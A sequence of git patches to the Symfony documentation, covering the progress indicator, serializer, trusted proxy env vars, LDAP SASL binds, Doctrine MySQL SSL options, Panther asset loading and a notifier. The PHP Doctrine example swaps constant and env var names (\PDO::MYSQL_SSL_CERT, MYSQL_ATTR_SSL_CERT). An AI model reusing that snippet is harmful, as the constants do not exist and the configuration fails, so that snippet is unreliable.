@@ -95,6 +95,26 @@ The progress indicator will now look like this:
      ⠹ Processing...
      ⢸ Processing...
 
+Custom Finished Indicator
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Once the progress indicator is finished, it keeps by default the latest indicator value. You can replace it with a your own::
+
+    $progressIndicator->finish('Finished', '✅');
+
+Then the progress indicator will render like this:
+
+.. code-block:: text
+
+     ⠏ Processing...
+     ⠛ Processing...
+     ✅ Finished
+
+.. versionadded:: 7.2
+
+    The ``finishedIndicator`` parameter for method ``finish()`` was introduced in Symfony 7.2.
+
+
 Customize Placeholders
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 1b26f7681a2f4aff35adf89014767972a50a8585 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Oct 2024 10:21:40 +0200
Subject: [PATCH 6421/7107] Minor tweaks

---
 components/console/helpers/progressindicator.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index dd18c6bdbc9..fedc8439e64 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
@@ -95,10 +95,8 @@ The progress indicator will now look like this:
      ⠹ Processing...
      ⢸ Processing...
 
-Custom Finished Indicator
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Once the progress indicator is finished, it keeps by default the latest indicator value. You can replace it with a your own::
+Once the progress indicator is finished, it keeps the latest indicator value by
+default. You can replace it with your own::
 
     $progressIndicator->finish('Finished', '✅');
 
@@ -114,7 +112,6 @@ Then the progress indicator will render like this:
 
     The ``finishedIndicator`` parameter for method ``finish()`` was introduced in Symfony 7.2.
 
-
 Customize Placeholders
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 2c93089f1781396bcd54b6f7f8eec403fa1c87a8 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 28 Sep 2024 18:47:17 +0200
Subject: [PATCH 6422/7107] [Serializer] Deprecate
 ``AdvancedNameConverterInterface``

---
 components/serializer.rst | 10 ++--------
 1 file changed, 2 insertions(+), 8 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index de8f67c853d..0764612e28a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -549,12 +549,12 @@ A custom name converter can handle such cases::
 
     class OrgPrefixNameConverter implements NameConverterInterface
     {
-        public function normalize(string $propertyName): string
+        public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
         {
             return 'org_'.$propertyName;
         }
 
-        public function denormalize(string $propertyName): string
+        public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
         {
             // removes 'org_' prefix
             return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
@@ -584,12 +584,6 @@ and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`::
     $companyCopy = $serializer->deserialize($json, Company::class, 'json');
     // Same data as $company
 
-.. note::
-
-    You can also implement
-    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
-    to access the current class name, format and context.
-
 .. _using-camelized-method-names-for-underscored-attributes:
 
 CamelCase to snake_case

From e14e05f4eaea753f625656949d9d9fc4814510ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Oct 2024 10:13:16 +0200
Subject: [PATCH 6423/7107] Document the new `SYMFONY_*` env vars

---
 deployment/proxies.rst                | 11 ++++++++++-
 reference/configuration/framework.rst | 14 ++++++++++++--
 2 files changed, 22 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index fc6f855451d..cd5649d979a 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -22,7 +22,11 @@ Solution: ``setTrustedProxies()``
 ---------------------------------
 
 To fix this, you need to tell Symfony which reverse proxy IP addresses to trust
-and what headers your reverse proxy uses to send information:
+and what headers your reverse proxy uses to send information.
+
+You can do that by setting the ``SYMFONY_TRUSTED_PROXIES`` and ``SYMFONY_TRUSTED_HEADERS``
+environment variables on your machine. Alternatively, you can configure them
+using the following configuration options:
 
 .. configuration-block::
 
@@ -93,6 +97,11 @@ and what headers your reverse proxy uses to send information:
     ``private_ranges`` as a shortcut for private IP address ranges for the
     ``trusted_proxies`` option was introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    Support for the ``SYMFONY_TRUSTED_PROXIES`` and ``SYMFONY_TRUSTED_HEADERS``
+    environment variables was introduced in Symfony 7.2.
+
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 19f72bb6cb3..53edf220642 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -198,7 +198,12 @@ named ``kernel.http_method_override``.
 trust_x_sendfile_type_header
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``%env(bool:default::SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER)%``
+
+.. versionadded:: 7.2
+
+    In Symfony 7.2, the default value of this option was changed from ``false`` to the
+    value stored in the ``SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER`` environment variable.
 
 ``X-Sendfile`` is a special HTTP header that tells web servers to replace the
 response contents by the file that is defined in that header. This improves
@@ -450,7 +455,12 @@ in debug mode.
 trusted_hosts
 ~~~~~~~~~~~~~
 
-**type**: ``array`` | ``string`` **default**: ``[]``
+**type**: ``array`` | ``string`` **default**: ``['%env(default::SYMFONY_TRUSTED_HOSTS)%']``
+
+.. versionadded:: 7.2
+
+    In Symfony 7.2, the default value of this option was changed from ``[]`` to the
+    value stored in the ``SYMFONY_TRUSTED_HOSTS`` environment variable.
 
 A lot of different attacks have been discovered relying on inconsistencies
 in handling the ``Host`` header by various software (web servers, reverse

From 03922de2588b2ec965cd31f40c2ecc4d9b3e0c97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Oct 2024 16:04:31 +0200
Subject: [PATCH 6424/7107] [Ldap] Add support for `sasl_bind` and `whoami`
 LDAP operations

---
 components/ldap.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/ldap.rst b/components/ldap.rst
index 89094fad0b7..d5f6bc3fdfe 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -74,6 +74,19 @@ distinguished name (DN) and the password of a user::
 
     When the LDAP server allows unauthenticated binds, a blank password will always be valid.
 
+You can also use the :method:`Symfony\\Component\\Ldap\\Ldap::saslBind` method
+for binding to an LDAP server using `SASL`_::
+
+    // this method defines other optional arguments like $mech, $realm, $authcId, etc.
+    $ldap->saslBind($dn, $password);
+
+After binding to the LDAP server, you can use the :method:`Symfony\\Component\\Ldap\\Ldap::whoami`
+method to get the distinguished name (DN) of the authenticated and authorized user.
+
+.. versionadded:: 7.2
+
+    The ``saslBind()`` and ``whoami()`` methods were introduced in Symfony 7.2.
+
 Once bound (or if you enabled anonymous authentication on your
 LDAP server), you may query the LDAP server using the
 :method:`Symfony\\Component\\Ldap\\Ldap::query` method::
@@ -183,3 +196,5 @@ Possible operation types are ``LDAP_MODIFY_BATCH_ADD``, ``LDAP_MODIFY_BATCH_REMO
 ``LDAP_MODIFY_BATCH_REMOVE_ALL``, ``LDAP_MODIFY_BATCH_REPLACE``. Parameter
 ``$values`` must be ``NULL`` when using ``LDAP_MODIFY_BATCH_REMOVE_ALL``
 operation type.
+
+.. _`SASL`: https://en.wikipedia.org/wiki/Simple_Authentication_and_Security_Layer

From 72d416c3e1856a00f7219c991c3d00fc87bc749f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 8 Oct 2024 16:15:42 +0200
Subject: [PATCH 6425/7107] Add BC promise rules for constructors

---
 contributing/code/bc.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 3a4f16c5208..a3664a0c32c 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -258,6 +258,14 @@ Make public or protected                                                  Yes
 Remove private property                                                   Yes
 **Constructors**
 Add constructor without mandatory arguments                               Yes             :ref:`[1] <note-1>`
+:ref:`Add argument without a default value <add-argument-public-method>`  No
+Add argument with a default value                                         Yes             :ref:`[11] <note-11>`
+Remove argument                                                           No              :ref:`[3] <note-3>`
+Add default value to an argument                                          Yes
+Remove default value of an argument                                       No
+Add type hint to an argument                                              No
+Remove type hint of an argument                                           Yes
+Change argument type                                                      No
 Remove constructor                                                        No
 Reduce visibility of a public constructor                                 No
 Reduce visibility of a protected constructor                              No              :ref:`[7] <note-7>`
@@ -473,6 +481,10 @@ a return type is only possible with a child type.
 constructors of Attribute classes. Using PHP named arguments might break your
 code when upgrading to newer Symfony versions.
 
+.. _note-11:
+
+**[11]** Only optional argument(s) of a constructor at last position may be added.
+
 Making Code Changes in a Backward Compatible Way
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From dff0d33e07b828c9e78a6a770e9edc018bd9c14d Mon Sep 17 00:00:00 2001
From: lacpandore <la.catoire@gmail.ocm>
Date: Tue, 8 Oct 2024 22:12:10 +0200
Subject: [PATCH 6426/7107] Update doctrine.rst on ssl documentation

---
 reference/configuration/doctrine.rst | 57 ++++++++++++++++++++++++++++
 1 file changed, 57 insertions(+)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index e73f4eca599..ea5eb98ea02 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -470,5 +470,62 @@ If the ``dir`` configuration is set and the ``is_bundle`` configuration
 is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with
 the path of the bundle.
 
+SSL Connection with MySQL
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to configure a secure SSL connection to MySQL in your Symfony application using Doctrine, you need to set specific options for the SSL certificates. Here's how to configure the connection using environment variables for the certificate paths:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        doctrine:
+            dbal:
+                url: '%env(DATABASE_URL)%'
+                server_version: '8.0.31'
+                driver: 'pdo_mysql'
+                options:
+                    # SSL private key (PDO::MYSQL_ATTR_SSL_KEY)
+                    1007: '%env(MYSQL_SSL_KEY)%'
+                    # SSL certificate (PDO::MYSQL_ATTR_SSL_CERT)
+                    1008: '%env(MYSQL_SSL_CERT)%'
+                    # SSL CA authority (PDO::MYSQL_ATTR_SSL_CA)
+                    1009: '%env(MYSQL_SSL_CA)%'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/doctrine
+                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+
+            <doctrine:config>
+                <doctrine:dbal
+                    url="%env(DATABASE_URL)%"
+                    server-version="8.0.31"
+                    driver="pdo_mysql">
+
+                    <doctrine:option key="1007">%env(MYSQL_SSL_KEY)%</doctrine:option>
+                    <doctrine:option key="1008">%env(MYSQL_SSL_CERT)%</doctrine:option>
+                    <doctrine:option key="1009">%env(MYSQL_SSL_CA)%</doctrine:option>
+                </doctrine:dbal>
+            </doctrine:config>
+        </container>
+
+Make sure that your environment variables are correctly set in your ``.env.local`` or ``.env.local.php`` file as follows:
+
+.. code-block:: bash
+
+    MYSQL_SSL_KEY=/path/to/your/server-key.pem
+    MYSQL_SSL_CERT=/path/to/your/server-cert.pem
+    MYSQL_SSL_CA=/path/to/your/ca-cert.pem
+
+This configuration secures your MySQL connection with SSL by specifying the paths to the required certificates.
+
+
 .. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html
 .. _`Doctrine Metadata Drivers`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/metadata-drivers.html

From 1b5859a1a6e6b8d0db1ab6806716bed80d5c1974 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Oct 2024 14:58:06 +0200
Subject: [PATCH 6427/7107] Minor tweaks

---
 reference/configuration/doctrine.rst | 26 ++++++++++++++++++++++++--
 1 file changed, 24 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index ea5eb98ea02..8a1062a54ae 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -473,7 +473,9 @@ the path of the bundle.
 SSL Connection with MySQL
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you want to configure a secure SSL connection to MySQL in your Symfony application using Doctrine, you need to set specific options for the SSL certificates. Here's how to configure the connection using environment variables for the certificate paths:
+To securely configure an SSL connection to MySQL in your Symfony application
+with Doctrine, you need to specify the SSL certificate options. Here's how to
+set up the connection using environment variables for the certificate paths:
 
 .. configuration-block::
 
@@ -516,7 +518,27 @@ If you want to configure a secure SSL connection to MySQL in your Symfony applic
             </doctrine:config>
         </container>
 
-Make sure that your environment variables are correctly set in your ``.env.local`` or ``.env.local.php`` file as follows:
+    .. code-block:: php
+
+        // config/packages/doctrine.php
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine): void {
+            $doctrine->dbal()
+                ->connection('default')
+                ->url(env('DATABASE_URL')->resolve())
+                ->serverVersion('8.0.31')
+                ->driver('pdo_mysql');
+
+            $doctrine->dbal()->defaultConnection('default');
+
+            $doctrine->dbal()->option(\PDO::MYSQL_ATTR_SSL_KEY, '%env(MYSQL_SSL_KEY)%');
+            $doctrine->dbal()->option(\PDO::MYSQL_SSL_CERT, '%env(MYSQL_ATTR_SSL_CERT)%');
+            $doctrine->dbal()->option(\PDO::MYSQL_SSL_CA, '%env(MYSQL_ATTR_SSL_CA)%');
+        };
+
+Ensure your environment variables are correctly set in the ``.env.local`` or
+``.env.local.php`` file as follows:
 
 .. code-block:: bash
 

From 3df38498bba9aaede83aafad5366d6449630d437 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=F0=9F=A6=85KoNekoD?= <moskva111@yahoo.com>
Date: Thu, 10 Oct 2024 11:01:05 +0300
Subject: [PATCH 6428/7107] feat(when constraint): add context variable

---
 reference/constraints/When.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index e1e8ac895ce..12b43fc7d63 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -163,7 +163,7 @@ validation of constraints won't be triggered.
 To learn more about the expression language syntax, see
 :doc:`/reference/formats/expression_language`.
 
-Depending on how you use the constraint, you have access to 1 or 2 variables
+Depending on how you use the constraint, you have access to 1 or 3 variables
 in your expression:
 
 ``this``
@@ -171,6 +171,8 @@ in your expression:
 ``value``
     The value of the property being validated (only available when
     the constraint is applied to a property).
+``context``
+    This is the context that is used in validation
 
 The ``value`` variable can be used when you want to execute more complex
 validation based on its value:

From e5b9efbfb466e3b476afe6823a82c1087651316e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 10 Oct 2024 10:44:22 +0200
Subject: [PATCH 6429/7107] Use type hint

---
 controller/forwarding.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/forwarding.rst b/controller/forwarding.rst
index a0e0648517a..8d8be859da5 100644
--- a/controller/forwarding.rst
+++ b/controller/forwarding.rst
@@ -11,7 +11,7 @@ and calls the defined controller. The ``forward()`` method returns the
 :class:`Symfony\\Component\\HttpFoundation\\Response` object that is returned
 from *that* controller::
 
-    public function index($name): Response
+    public function index(string $name): Response
     {
         $response = $this->forward('App\Controller\OtherController::fancy', [
             'name'  => $name,

From 5e8fb6ebd991577c9645d1df13bdabca8cf3b922 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 10 Oct 2024 14:21:34 +0200
Subject: [PATCH 6430/7107] [Lock] Add NullStore

---
 components/lock.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 5a76223112b..69e51a1407b 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -406,6 +406,14 @@ Store                                                       Scope   Blocking  Ex
     A special ``InMemoryStore`` is available for saving locks in memory during
     a process, and can be useful for testing.
 
+.. tip::
+
+    A special ``NullStore`` is available and persist nothing, it can be useful for testing.
+
+.. versionadded:: 7.2
+
+    The :class:`Symfony\\Component\\Lock\\Store\\NullStore` was introduced in Symfony 7.2.
+
 .. _lock-store-flock:
 
 FlockStore

From 52d4f7bc5681bbf563eff8c4db8c439e0151d279 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Oct 2024 16:06:12 +0200
Subject: [PATCH 6431/7107] Minor reword

---
 components/lock.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 69e51a1407b..bf75fb49f7a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -403,12 +403,9 @@ Store                                                       Scope   Blocking  Ex
 
 .. tip::
 
-    A special ``InMemoryStore`` is available for saving locks in memory during
-    a process, and can be useful for testing.
-
-.. tip::
-
-    A special ``NullStore`` is available and persist nothing, it can be useful for testing.
+    Symfony includes two other special stores that are mostly useful for testing:
+    ``InMemoryStore``, which saves locks in memory during a process, and ``NullStore``,
+    which doesn't persist anything.
 
 .. versionadded:: 7.2
 

From 5bb26548bea584015942341eaf2ad3c80578c9cb Mon Sep 17 00:00:00 2001
From: Ahmed EBEN HASSINE <ahmed.eben-hassine@codein.fr>
Date: Fri, 11 Oct 2024 12:55:13 +0200
Subject: [PATCH 6432/7107] Adopt Snake Case Naming for Route Paths and Names

---
 contributing/code/standards.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 2668269dfcc..b516f835179 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -214,8 +214,8 @@ Naming Conventions
 * Use `camelCase`_ for PHP variables, function and method names, arguments
   (e.g. ``$acceptableContentTypes``, ``hasSession()``);
 
-* Use `snake_case`_ for configuration parameters and Twig template variables
-  (e.g. ``framework.csrf_protection``, ``http_status_code``);
+Use `snake_case`_ for configuration parameters, route names and Twig template
+  variables (e.g. ``framework.csrf_protection``, ``http_status_code``);
 
 * Use SCREAMING_SNAKE_CASE for constants (e.g. ``InputArgument::IS_ARRAY``);
 

From f2a68b5a4a23a2497296daaada263118597a5350 Mon Sep 17 00:00:00 2001
From: Benjamin Georgeault <bgeorgeault@wedgesama.fr>
Date: Mon, 14 Oct 2024 10:19:51 +0200
Subject: [PATCH 6433/7107] Add info about troubleshooting assets loading with
 Panther. - Can happen with any requested uri that look like a non `.php` file
 - Case can happen with AssetMapper.

---
 testing/end_to_end.rst | 51 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index eede672bfce..bf7cebf86ef 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -799,6 +799,55 @@ variable to ``false`` in your style file:
 
     $enable-smooth-scroll: false;
 
+Assets not loading (PHP built-in server only)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You may face cases where your assets are not loaded while running your tests.
+Because Panther use the `PHP built-in server`_ to serve your app, if your assets files
+(or any requested URI that not a ``.php`` file) does not exist in your public directory
+(e.g. rendered by your Symfony app), the built-in server will return a 404 not found.
+
+This can happen when using :doc:`AssetMapper component </frontend/asset_mapper>`
+if you let your Symfony app handle your assets in dev environment.
+
+To solve this, add a ``tests/router.php``::
+
+    // tests/router.php
+    if (is_file($_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$_SERVER['SCRIPT_NAME'])) {
+        return false;
+    }
+
+    $script = 'index.php';
+
+    $_SERVER = array_merge($_SERVER, $_ENV);
+    $_SERVER['SCRIPT_FILENAME'] = $_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$script;
+
+    $_SERVER['SCRIPT_NAME'] = \DIRECTORY_SEPARATOR.$script;
+    $_SERVER['PHP_SELF'] = \DIRECTORY_SEPARATOR.$script;
+
+    require $script;
+
+Then declare it as a router for Panther server in ``phpunit.xml.dist`` using ``PANTHER_WEB_SERVER_ROUTER`` var:
+
+.. code-block:: xml
+
+    <!-- phpunit.xml.dist -->
+    <phpunit>
+        <!-- ... -->
+        <php>
+            <!-- ... -->
+            <server name="PANTHER_WEB_SERVER_ROUTER" value="../tests/router.php"/>
+        </php>
+    </phpunit>
+
+Credit from `Testing Part 2 Functional Testing on Symfony cast`_ were you can see more about this case.
+
+.. note::
+
+    When using :doc:`AssetMapper component </frontend/asset_mapper>`, you can also compile your assets before running
+    your tests. It will make your tests faster because Symfony will not have to handle them, the built-in server
+    will serve them directly.
+
 Additional Documentation
 ------------------------
 
@@ -825,3 +874,5 @@ documentation:
 .. _`Gitlab CI`: https://docs.gitlab.com/ee/ci/
 .. _`AppVeyor`: https://www.appveyor.com/
 .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle
+.. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php
+.. _`Testing Part 2 Functional Testing on Symfony cast`: https://symfonycasts.com/screencast/last-stack/testing

From 16bccc3a3bab72597e7ad7bf23a291a12f4b958e Mon Sep 17 00:00:00 2001
From: Benjamin Georgeault <bgeorgeault@wedgesama.fr>
Date: Mon, 14 Oct 2024 11:27:37 +0200
Subject: [PATCH 6434/7107] Add missing ref in constraint map to the new Yaml
 constraint.

---
 reference/constraints/map.rst.inc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index e0dbd6c4512..97c049dae90 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -34,6 +34,7 @@ String Constraints
 * :doc:`Charset </reference/constraints/Charset>`
 * :doc:`MacAddress </reference/constraints/MacAddress>`
 * :doc:`WordCount </reference/constraints/WordCount>`
+* :doc:`Yaml </reference/constraints/Yaml>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From d10abd7ad04171dd74b8032826bdb1db910894c7 Mon Sep 17 00:00:00 2001
From: pan93412 <pan93412@gmail.com>
Date: Fri, 11 Oct 2024 14:19:45 +0800
Subject: [PATCH 6435/7107] [Notifier] Add LINE Bot notifier

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 8b684ef2d1d..e5671eea534 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -341,6 +341,7 @@ Service                                  Package                               D
 `Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
 `Gitter`_                                ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 `GoogleChat`_                            ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+`LINE Bot`_                              ``symfony/line-bot-notifier``         ``linebot://TOKEN@default?receiver=RECEIVER``
 `LINE Notify`_                           ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
 `LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
 `Mastodon`_                              ``symfony/mastodon-notifier``         ``mastodon://ACCESS_TOKEN@HOST``
@@ -355,6 +356,10 @@ Service                                  Package                               D
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
+.. versionadded:: 7.2
+
+    The ``LINE Bot`` integration was introduced in Symfony 7.2.
+
 .. versionadded:: 7.1
 
     The ``Bluesky`` integration was introduced in Symfony 7.1.
@@ -1100,6 +1105,7 @@ is dispatched. Listeners receive a
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md
 .. _`iSendPro`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Isendpro/README.md
 .. _`KazInfoTeh`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/KazInfoTeh/README.md
+.. _`LINE Bot`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineBot/README.md
 .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md
 .. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
 .. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md

From b4b0c4c727ae35e16807717307ba37ad48b31777 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 11:43:52 +0200
Subject: [PATCH 6436/7107] Minor tweak

---
 notifier.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7d4ce6ef6be..71af2ccb440 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -370,14 +370,14 @@ Service                                  Package                               D
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
-.. versionadded:: 7.2
-
-    The ``LINE Bot`` integration was introduced in Symfony 7.2.
-
 .. versionadded:: 7.1
 
     The ``Bluesky`` integration was introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The ``LINE Bot`` integration was introduced in Symfony 7.2.
+
 .. deprecated:: 7.2
 
     The ``Gitter`` integration was removed in Symfony 7.2 because that service

From 78e0a190a821e952b3b1ff7b9352060e6720e53d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 12:56:16 +0200
Subject: [PATCH 6437/7107] Some rewords

---
 frontend/asset_mapper.rst |  2 ++
 testing/end_to_end.rst    | 35 +++++++++++++++++------------------
 2 files changed, 19 insertions(+), 18 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index b4d2e5738b8..c9e5d543846 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -77,6 +77,8 @@ If you look at the HTML in your page, the URL will be something
 like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change
 the file, the version part of the URL will also change automatically.
 
+.. _asset-mapper-compile-assets:
+
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index bf7cebf86ef..cbc5b6880bd 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -799,18 +799,20 @@ variable to ``false`` in your style file:
 
     $enable-smooth-scroll: false;
 
-Assets not loading (PHP built-in server only)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Assets not Loading when Using the PHP Built-In Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You may face cases where your assets are not loaded while running your tests.
-Because Panther use the `PHP built-in server`_ to serve your app, if your assets files
-(or any requested URI that not a ``.php`` file) does not exist in your public directory
-(e.g. rendered by your Symfony app), the built-in server will return a 404 not found.
+Sometimes, your assets might not load during tests. This happens because Panther
+uses the `PHP built-in server`_ to serve your app. If asset files (or any requested
+URI that's not a ``.php`` file) aren't in your public directory, the built-in
+server will return a 404 error. This often happens when letting the :doc:`AssetMapper component </frontend/asset_mapper>`
+handle your application assets in the ``dev`` environment.
 
-This can happen when using :doc:`AssetMapper component </frontend/asset_mapper>`
-if you let your Symfony app handle your assets in dev environment.
+One solution when using AssetMapper is to ref:`compile assets <asset-mapper-compile-assets>`
+before running your tests. This will also speed up your tests, as Symfony won't
+need to handle the assets, allowing the PHP built-in server to serve them directly.
 
-To solve this, add a ``tests/router.php``::
+Another option is to create a file called ``tests/router.php`` and add the following to it::
 
     // tests/router.php
     if (is_file($_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$_SERVER['SCRIPT_NAME'])) {
@@ -827,7 +829,8 @@ To solve this, add a ``tests/router.php``::
 
     require $script;
 
-Then declare it as a router for Panther server in ``phpunit.xml.dist`` using ``PANTHER_WEB_SERVER_ROUTER`` var:
+Then declare it as a router for Panther server in ``phpunit.xml.dist`` using the
+``PANTHER_WEB_SERVER_ROUTER`` environment variable:
 
 .. code-block:: xml
 
@@ -836,17 +839,13 @@ Then declare it as a router for Panther server in ``phpunit.xml.dist`` using ``P
         <!-- ... -->
         <php>
             <!-- ... -->
-            <server name="PANTHER_WEB_SERVER_ROUTER" value="../tests/router.php"/>
+            <server name="PANTHER_WEB_SERVER_ROUTER" value="./tests/router.php"/>
         </php>
